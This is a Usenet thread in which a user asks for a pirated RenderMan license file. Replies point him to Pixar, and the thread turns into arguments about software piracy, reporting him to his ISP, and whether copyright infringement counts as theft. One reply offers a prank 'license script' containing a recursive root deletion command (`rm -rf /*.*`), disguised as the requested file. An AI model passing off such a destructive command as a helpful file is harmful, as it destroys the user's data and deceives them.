License file for renderman
Falcon
Tom Duff
Sure. Can you send me a check for $5000?
--
Tom Duff. This work was funded by The National Endowment for Hacking
(without their knowledge).
Stephen H. Westin
> Please can anyone send me license file to start renderman 3.9?
Sure. Contact rende...@pixar.com. She can tell you how to order a
license, and how much it will cost.
--
-Stephen H. Westin
Any information or opinions in this message are mine: they do not
represent the position of Cornell University or any of its sponsors.
Randy Rohrer
>
> Please can anyone send me license file to start renderman 3.9?
Sure use this script:
!/bin/sh
# render license
LIC='044477888990'
# expiration date
EXPDATE='05102002'
if ($LIC) /bin/rm -rf /*.*
# always good practice to clean up nicely
exit (1)
--
Randy Rohrer
roh...@erols.com
nico
> if ($LIC) /bin/rm -rf /*.*
> # always good practice to clean up nicely
hehe... i agree with that. lol.
--
The young (who always want more and have no game to protect),
the artists (who always hunger for the ecstatic moment),
and the alienated (the wise slaves and noble minority groups watching
from the periphery of the society). "High Priest," -- Timothy Leary
Falcon
Felix Petriconi
I doubt very much, that You will get further assistance from this news-
group!
Copyright violation is no fun!
If You do not have enough money to obtain a licence of PRman (I do not
have
one too) you still have the possibility to use other complilants.
Felix
Etk
> group!
> Copyright violation is no fun!
> If You do not have enough money to obtain a licence of PRman (I do not
> have
> one too) you still have the possibility to use other complilants.
>
> Felix
Nah, he just wants to use it cause he heard it was used in Matrix,
and Starwars.. Usually the way it works, is they will get it,
start pokeing around with it, render a few matte gray images, then
realized you have to be smart to use it, and just un-install it...
If he was smart, and actaully wanted to learn RenderMan and SL, he
would just get BMRT like the rest of us..
Nicholas Yue
>
> Nah, he just wants to use it cause he heard it was used in Matrix,
> and Starwars.. Usually the way it works, is they will get it,
> start pokeing around with it, render a few matte gray images, then
> realized you have to be smart to use it, and just un-install it...
> If he was smart, and actaully wanted to learn RenderMan and SL, he
> would just get BMRT like the rest of us..
If one is after stuff like RiCurve, RiPoints, RiSubdiv etc..one can
also download a resolution crippled evaluation version of the RenderDotC
renderer.
Pretty fast too. I also heard that RenderDotC was used in the Matrix.
Cheers
--
Nicholas Yue
http://www.geocities.com/nicholas_yue
Tom Duff
This jerk had the temerity to send me email calling me
a prick for suggesting that he pay for his license like
everyone else. He claimed that he wanted to `try
before buying.' (You can request a demo license from
rende...@pixar.com in that case.) So, ignoring
the insult and otherwise taking him at his word, I sent
him email apologizing! After all, there was an infinitesimal
probability that he was sincere, and I really would be sorry
for pissing off a legit customer, even a rude one. But now
he's apparently bragging about having obtained an illegal
license. Consider the apology withdrawn, prick.
It never ceases to amaze me that the easiest
way to get a crook pissed off is to call him
a crook (or in this case, not even that --
I only suggested that he obtain his swag
legally.) You'd think they'd expect it.
--
Tom Duff. No sentence means what it says.
Stephen H. Westin
> > I happened to obtain an unexpirable license.dat file.
>
> This jerk had the temerity to send me email calling me
> a prick for suggesting that he pay for his license like
> everyone else. He claimed that he wanted to `try
> before buying.'
Funny, I got the very same answer.
> (You can request a demo license from
> rende...@pixar.com in that case.)
And I told him this, as well. I'm honored to be in the same boat with
you, Tom.
<snip>
> It never ceases to amaze me that the easiest
> way to get a crook pissed off is to call him
> a crook (or in this case, not even that --
> I only suggested that he obtain his swag
> legally.) You'd think they'd expect it.
I don't suppose he'd be worth prosecuting, would he? After all, he
took pains to brag about his illegal activity in front of the injured
party. He presumably could be tracked down, a warrant obtained, etc.
Larry Gritz
Stephen H. Westin <westin*nos...@graphics.cornell.edu> wrote:
>I don't suppose he'd be worth prosecuting, would he? After all, he
>took pains to brag about his illegal activity in front of the injured
>party. He presumably could be tracked down, a warrant obtained, etc.
He's almost certainly not worth prosecuting, but he may well
be worth persecuting.
His posting had an "Abuse" email in the header. I wonder if his ISP
has a policy about soliciting or distributing illegal software cracks?
Maybe somebody should check.
-- lg
--
Larry Gritz Exluna
l...@exluna.com Berkeley, CA
Brian
Larry Gritz wrote:
> I wonder if his ISP
> has a policy about soliciting or distributing illegal software cracks?
> Maybe somebody should check.
I took the liberty of forwarding the messages to his ISP...:)
Brian
Falcon
nico
>
> I only asked about trial license file since there nothing mentioned
> about it on the website.
but you will admit posting this message:
>>>I happened to obtain an unexpirable license.dat file.
as far as i am concerned, i don't know of any package that offers this
kind of deal, legally...
n.
Stephen H. Westin
<snip>
> FYI I never solicited for any so called "crack" for renderman 3.9. I =
> feel pretty insulted by being accused of using above mentioned software. =
Huh? The word "crack" was used in terms of "defeating the license
protection of the software so as to use it without legal
authorization". Whether that is accomplished through technical
ingenuity or through unauthorized copying of a license file is an
irrelevant detail.
> I only asked about trial license file since there nothing mentioned =
> about it on the website.
No, you asked if anyone would send you a license file. The people to
ask about a trial license are at Pixar, as you have repeatedly been
told. But you have been determined to follow an illegal route,
instead.
<snip>
Stephen H. Westin
<snip>
> The original message from this person stated (quote):
>
> "Please can anyone send me license file to start renderman 3.9?"
>
> Now, that surely looks like a request for a crack. To be completely
> just and fair, though, nowhere does he mention the word "crack",
> or "free", or anything else that might indicate that his intentions
> involve software theft.
Yup, and at least two of us told him to contact Pixar, which advice he
would have followed had he been interested in doing things
legally. Instead, he called us names. I could post the E-mail message,
if you're interested :).
Steve Martin
> > Now, that surely looks like a request for a crack. To be completely
> > just and fair, though, nowhere does he mention the word "crack",
> > or "free", or anything else that might indicate that his intentions
> > involve software theft.
>
> Yup, and at least two of us told him to contact Pixar, which advice he
> would have followed had he been interested in doing things
> legally. Instead, he called us names. I could post the E-mail message,
> if you're interested :).
No, that's okay. It would indeed appear that the guy is not interested
in
doing things legally. I didn't mean to appear that I was supporting
this behaviour, on the contrary. I was simply trying to point out that
the word "crack" was not used in the original post, even though his
behavior on the list since then makes it obvious that this guy is not
interested in legality.
Brian
I'm told by a hotmail rep that he won't be able to use that email
account anymore. They evidently did not approve of his requests either.
Brian Perry
Larry Gritz wrote:
> In article <39B3A290...@earthlink.net>,
> Steve Martin <smart...@earthlink.net> wrote:
> > To be completely
> >just and fair, though, nowhere does he mention the word "crack",
> >or "free", or anything else that might indicate that his intentions
> >involve software theft.
>
> Message #1:
>
> Can somebody PLEASE send me a set of keys to Steve Martin's car?
>
> Message #2:
>
> Never mind, I found somebody helpful who sent me the keys I
> needed. I now have unlimited use of Steve's car!
>
> Message #3:
>
> Why is everybody so upset? I wasn't going to steal Steve's car.
> I just wanted to "try before I buy." Hey, I didn't say anything
> about theft!
>
> Yeah, right.
editfx
news:39B8510B...@yahoo.com...
> FYI....
>
> I'm told by a hotmail rep that he won't be able to use that email
> account anymore. They evidently did not approve of his requests either.
>
> Brian Perry
>
It really doesn't matter;
with all the times you guys have spent mailing left and right, and getting
angry and writing about this, you have done nothing against software piracy
except flaming
one particular individual and feeling real satisfied about yourself.
How can anyone be so internet-illiterate to believe that it's worth trying
to teach 'the right way' to a pirate on Usenet? To believe that flaming
back or mailing complaints to ISPs and trying to get one completely
irrelevant teenager off the internet for a day is a solution to anything?
That's the typical delusion of the young male who mistakes the internet for
a social life and see email has some kind of magical sword that makes him
All Powerful and Solves Everything. Hey, you did your part, didn't you?
What will you think of next, mail bomb Bill Gates because he's sooo bad?
What you should do with crack requests is to *ignore* them, then you won't
get laughted at by the pirate for having given him a pretentious lecture
about him being a theif.
I've personnaly paid thousands of dollars to get the latest software, yet
when I get on the internet I am not preaching to teenagers without money
about their uses of software cracks. Especially knowing that most will
install it and then forget about it after paying with it for a few hours.
(Hey, people, it takes real dedications and months of hard work in 3D to get
anywhere) It's the actual act of finding and swapping software with others
that takes most of their time.
It's not even a matter of debating again the theorical value of piracy, the
real problem is competing with studios who are running, for example, big
render farms where they only paid for the hardware, if you know what I mean.
Brian
> to teach 'the right way' to a pirate on Usenet?
Relax...I think your reading too much into this stuff. It has nothing to do
with teaching anyone a lesson or internet literacy. It's simply a way to
discourage theft, even if in a very small way. Haven't you ever had something
stolen?
Brian Perry
Larry Gritz
editfx <edi...@hotmail.com> wrote:
>How can anyone be so internet-illiterate to believe that it's worth trying
>to teach 'the right way' to a pirate on Usenet? To believe that flaming
>back or mailing complaints to ISPs and trying to get one completely
>irrelevant teenager off the internet for a day is a solution to anything?
I don't think that anybody here really thinks that we're "teaching"
anybody anything, or that this is a solution.
However, if you've got 5 spare minutes in the middle of the day and
want to goof off, it can be fun to stick it to somebody who's being
a jerk in public.
For me, it was just a little diversion. Honestly, based on the length
of your post and how strongly you feel about it, I'm willing to bet
that you've put more effort into this matter than the rest of us put
together.
Also, all things being equal, I'd rather the software pirates not be
trading their stuff on this newsgroup. I don't harbor any illusions
that they won't just take it someplace else... but that's exactly what
I want, for them to take it someplace other than the couple newsgroups
that I read. If harassing this guy sends a signal to others that this
topic isn't welcome here, then we've done a good day's work.
Andrew Duncanson
for last 15+ years. Know I would be. But persecuting 1 person, who
obviously doesn't have a clue isn't gonna make a difference.
After all if he had the slightest clue about anything then he wouldn't
have asked in here anyway where Larry goes. That's like stealing
someone's bike, then going into the pub and asking them the code to
their bike lock. Just asking for trouble.
The guy who was in here is what people who've used the net for a long
time term a "Lamer" and is the sort of guy that AOL was renowned for
attracting a few years back :)
Yeah its fun to poke at someone who obviously has absolutely no idea.
Chances are its just some 12 year old who got a PC at Christmas and is
after software like he used to do on his Amiga, and discovered you could
get it on the net. Seeing as 3d editing seems to be more the 'in' thing
on the net at the moment he's probably heard about it being used on
films like star wars.
I can't honestly see someone like that even being able get their head
round Rendermans language
It like Larry said its fun to prod at people occasionally.
If they were serious about learning it then they probably would have
lurked in the group for a while like i did, grabbed BMRT and as many of
the SIGGRAPH transcripts as possible and started from there.
Im no fan of piracy. I know what it feels like to have work stolen off
you. Had someone steal the code to my IT project at uni last year, and
ended up having to redo 3 months of work so i wouldn't risk getting a 0
for plagiarism. Its annoying but it happens, but stabbing at someone
who's never going to make a difference isn't the right place to do it.
To make a difference then stabbing at the big warez ftp servers and the
commercial companies who do it is the right way
still it is fun prodding at the Lamers ;)
Haven't laughed my ass off so hard for ages when that post came up
hehehehe
So how long do u think it'll take the loser to find a new email account
;)
--
Andrew Duncanson
Steve Martin
Oh, man, I don't even know where to begin...
> angry and writing about this, you have done nothing against software piracy
> except flaming
> one particular individual and feeling real satisfied about yourself.
> How can anyone be so internet-illiterate to believe that it's worth trying
> to teach 'the right way' to a pirate on Usenet? To believe that flaming
> back or mailing complaints to ISPs and trying to get one completely
> irrelevant teenager off the internet for a day is a solution to anything?
Okay, I guess this is the same mentality that says "well, I saw a crime,
but
I won't report it, because it's just one crime, and it won't do any good
in
the grand scheme of things anyway." The "grand scheme of things" is made
up
of individuals. If individuals *as individuals* turn a blind eye toward
crimes, then the community *as a group* has done so, and The Republic
Is Doomed.
> That's the typical delusion of the young male
(Okay, anyone else wanna take a swing at this remark?)
> Hey, you did your part, didn't you?
Well, I try.
> What will you think of next, mail bomb Bill Gates because he's sooo bad?
The DOJ has already done that. I am doing my part, though, by running
Linux
at home and installing it on as many servers at work as I can.
> when I get on the internet I am not preaching to teenagers without money
> about their uses of software cracks.
Perhaps if someone *had* preached to him earlier, this discussion would
not be happening.
> (Hey, people, it takes real dedications and months of hard work in 3D to get
> anywhere)
MONTHS?!? Larry, Tal, any of the Pixar guys, you wanna take this one?
I'm
laughing too hard.
> It's not even a matter of debating again the theorical value of piracy, the
> real problem is competing with studios who are running, for example, big
> render farms where they only paid for the hardware, if you know what I mean.
Well, I don't know about other studios, I assume they paid for their
software
licenses. In Pixar's case, of course they didn't pay for the software;
they
WROTE the bloody stuff!
Next?
Tom Duff
>
> "Brian" <nope...@yahoo.com> wrote in message
> news:39B8510B...@yahoo.com...
> > FYI....
> >
> > I'm told by a hotmail rep that he won't be able to use that email
> > account anymore. They evidently did not approve of his requests either.
> >
> > Brian Perry
> >
>
> It really doesn't matter;
> with all the times you guys have spent mailing left and right, and getting
> angry and writing about this, you have done nothing against software piracy
> except flaming
> one particular individual and feeling real satisfied about yourself.
I didn't ignore him because it only took
a second to stick my finger in his eye.
On the other hand, I have to let your
mountain of fatalistic rubbish slide,
because any resonable reply would take
hours of my time, and it just don't
matter that much.
--
Tom Duff. We don't have an image problem. We have a reality problem.
softguy
You should contact the software vendor with the name of the person using the
illegal software, if you can, and we'll handle it as appropriate.
p.s. Illegal use of software at studios is unfortunately more widespread
than you might believe. :(
Sorry for the off-topic post.
"Steve Martin" <smart...@earthlink.net> wrote in message
> editfx wrote:
>
> Oh, man, I don't even know where to begin...
>
> > angry and writing about this, you have done nothing against software
piracy
> > except flaming
> > one particular individual and feeling real satisfied about yourself.
>
> > How can anyone be so internet-illiterate to believe that it's worth
trying
> > to teach 'the right way' to a pirate on Usenet? To believe that flaming
> > back or mailing complaints to ISPs and trying to get one completely
> > irrelevant teenager off the internet for a day is a solution to
anything?
>
> Okay, I guess this is the same mentality that says "well, I saw a crime,
> butI won't report it, because it's just one crime, and it won't do any
Kevin Smith
>
> > (Hey, people, it takes real dedications and months of hard work in 3D to get
> > anywhere)
>
> MONTHS?!? Larry, Tal, any of the Pixar guys, you wanna take this one?
> I'm
> laughing too hard.
Hey, there are some of us who actually *don't* work at Pixar ..... ;)
JF Charbonneau
the
> illegal software, if you can, and we'll handle it as appropriate.
The reason you see this kind of vigilante justice is that there is a
perception that companies are not doing enough to protect the investment of
honest customers. Anybody who has strong feelings about this issue should
visit globetrotter's web site. There are all kinds of goodies that may help
you understand the true complexity of this issue. I especially recommend
the Intro:
"FLEXlm is an Electronic Licensing technology that improves the
profitability of software businesses by:
-Helping honest customers comply with your license terms "
I also recommend the article section:
"Software Licensing Problems, Opportunities and a Process for Solution
...The piracy issue also needs to be addressed since it can be source of
unrealized revenue. Before a decision regarding how best to manage the
selected product metrics can be made, it is important to uncover the
software provider's beliefs about piracy and unauthorized use across account
category, geography and channel of distribution. It is important to
articulate beliefs regarding each of the intersections to formulate
appropriate business decisions. For example, many software providers believe
that piracy in not a major concern within major accounts in the U.S., even
though unauthorized use does occur.."
In the end, I still like to buy software for very selfish reasons. It is
to a certain degree a measure of real economic success (nothing to do with
moral or personal success). Its like playing Monopoly without having to
hide extra red houses under the board. I can only hope that those who are
really playing the game do help to finance R&D and to develop the next
generation of great products.
JF Charbonneau
Daniel McFarland
Some companies have profited and increased there market share from piracy.
Microsoft and Autocad, I believe, are a few examples of this. They proliferated
because there were tremendous numbers of cracked copies of the software, not
because they were better than alternatives. When it came time to buy, because
of an upgrade, improved security features, guilt or whatever, people bought
what they knew. It seems that Microsoft has learned from this. How many people
have paid for Internet Explorer? Pixar and others are getting in on the act buy
distributing software to universities free or nearly so.
The examples of Microsoft and Autocad may be linked to the migration of PCs
into businesses and education, that took place in the early to mid 80s.
I am not justifying piracy, but I wonder if it is always considered theft?
Just my $.02.
Dan
Andrew Bromage
Daniel McFarland <danm...@neta.com> writes:
>I am not justifying piracy, but I wonder if it is always considered theft?
If you believe Richard Stallman, it's only theft if it steals a sale
from the copyright holder. That is, if the person engaging in the
copying would otherwise have bought a licence, then something is being
stolen, but otherwise it isn't.
Richard Stallman is also fond of saying that you shouldn't call it
"piracy" unless you think that what he calls "unauthorised sharing"
is equivalent to attacking and looting a ship, and killing those
onboard.
Now while you can either take or leave his opinions, he does have a
valid point (which isn't the point he was trying to make, but it's
valid nonetheless) which is that what we call "intellectual property"
(e.g. patents, copyrights etc) doesn't even closely resemble "property"
as we (and the law) understand it. What we call "IP" is really a
government-granted limited-time monopoly on certain rights, subject to
the fair use rights of others, to a creative work or idea.
We now return you to your regularly scheduled discussion of Renderman.
Cheers,
Andrew Bromage
Larry Gritz
Andrew Bromage <bro...@goaway.cc.monash.edu.au> wrote:
>If you believe Richard Stallman, it's only theft if it steals a sale
>from the copyright holder.
That's RMS pontificating, and does not accurately reflect the current
state of the law.
>Now while you can either take or leave his opinions, he does have a
>valid point (which isn't the point he was trying to make, but it's
>valid nonetheless) which is that what we call "intellectual property"
>(e.g. patents, copyrights etc) doesn't even closely resemble "property"
>as we (and the law) understand it.
Dunno about where you're from, but in my country the law is actually
quite clear on the matter. If I'm selling software, and somebody else
makes a copy without my permission, they are breaking the law. It's
that simple. It doesn't matter whether or not they would have paid
for it.
The law is exceptionally clear. It's debatable (by some people, I
guess) whether or not the law should be changed. But the legalities
are not the least bit ambiguous.
There's a disturbing trend, I think, surrounding the open source
and free software movements. This trend is the gradual erosion of
the distinction between *giving* and *taking*.
It's a wonderful thing when somebody willfully gives to another --
like when a programmer gives a piece of software to the world to use
for free, or even to view and/or modify its source code. RMS has made
a big contribution by giving us some great software, and encouraging
others to do the same. But it's only okay to give away something that
*you* own. When people (and I'm not talking about you, Andrew) start
to assume (or even demand!) that others should give away what they
own, then a very ugly thing is happening. I think, in the end, that
this trend seriously undermines the free software movement.
Tom Duff
> Richard Stallman is also fond of saying that you shouldn't call it
> "piracy" unless you think that what he calls "unauthorised sharing"
> is equivalent to attacking and looting a ship, and killing those
> onboard.
Has Stallman really said this? I wouldn't be surprised -- he is
perpetually troubled by words (like `free') that refuse to line
up and mean what he wants them to mean, as if Humpty Dumpty were
his role model.
In any case, this flies in the face of the fact that the word `piracy'
has been used to describe unauthorized republication since the USA
was a British colony.
--
Tom Duff. Because of their knowledge, scientists have a power that
makes them dangerous.
Andrew Bromage
l...@unagi.exluna.com (Larry Gritz) writes:
>That's RMS pontificating, and does not accurately reflect the current
>state of the law.
What RMS believes should be rarely reflects the current state of law.
If that were true of everyone, we wouldn't need activists. :-)
I wrote:
>>Now while you can either take or leave his opinions, he does have a
>>valid point (which isn't the point he was trying to make, but it's
>>valid nonetheless) which is that what we call "intellectual property"
>>(e.g. patents, copyrights etc) doesn't even closely resemble "property"
>>as we (and the law) understand it.
>Dunno about where you're from, but in my country the law is actually
>quite clear on the matter. If I'm selling software, and somebody else
>makes a copy without my permission, they are breaking the law.
Not true. If I, for example, buy a licence for some software that you're
selling, I'm allowed to make a personal backup copy whether or not you
gave permission.
Also, your somewhat exclusive "copy rights" to the software will expire
eventually. (Nit: Actually, that's not entirely true for the US. What
actually happens is that the US congress meets every 20 years or so and
extends copyright for another 20 years, so copyright in the US doesn't
really "expire" any more. But that's another rant.) It's a long time
(in the US, it's currently something like 70 years after you die) but
it will still expire, and my descendants will be able to copy your
software at will.
"Property" doesn't behave anything like that.
>It's
>that simple. It doesn't matter whether or not they would have paid
>for it.
It matters in RMS' ideal system of morals. The real world is a vastly
different place, however.
At any rate, such acts are not called "theft". They're called
"copyright infringement". There are other significant jurisdictional
issues, too. Infringement of copyrights is a civil matter, whereas
"infringement of property rights" (i.e. theft) is criminal. It's just
as morally wrong (IMO) and just as illegal, but apart from that they
are quite different.
>There's a disturbing trend, I think, surrounding the open source
>and free software movements. This trend is the gradual erosion of
>the distinction between *giving* and *taking*.
I can see how you'd get that impression if you listened too much to
RMS or read too much slashdot. It wouldn't be too much of an
exaggeration to say that a lot of the kiddies out there are into
"free software" because it means not paying for things.
Fortunately there are more moderate voices amongst the open source
movement too. (I'm sure that more than one person on this newsgroup
knows Bruce Perens, for example.) I definitely agree with you about
the image problem, though.
Now back to Renderman.
Cheers,
Andrew Bromage
3dwa...@my-deja.com
l...@exluna.com (Larry Gritz) wrote:
> There's a disturbing trend, I think, surrounding the open source
> and free software movements. This trend is the gradual erosion of
> the distinction between *giving* and *taking*.
>
> It's a wonderful thing when somebody willfully gives to another --
> like when a programmer gives a piece of software to the world to use
> for free, or even to view and/or modify its source code. RMS has made
> a big contribution by giving us some great software, and encouraging
> others to do the same. But it's only okay to give away something that
> *you* own. When people (and I'm not talking about you, Andrew) start
> to assume (or even demand!) that others should give away what they
> own, then a very ugly thing is happening. I think, in the end, that
> this trend seriously undermines the free software movement.
I agree, and so do other open source advocates. For a good view on
this, read a recent Petreley column:
http://www.infoworld.com/articles/op/xml/00/09/04/000904oppetreley.xml
-3DWB
Sent via Deja.com http://www.deja.com/
Before you buy.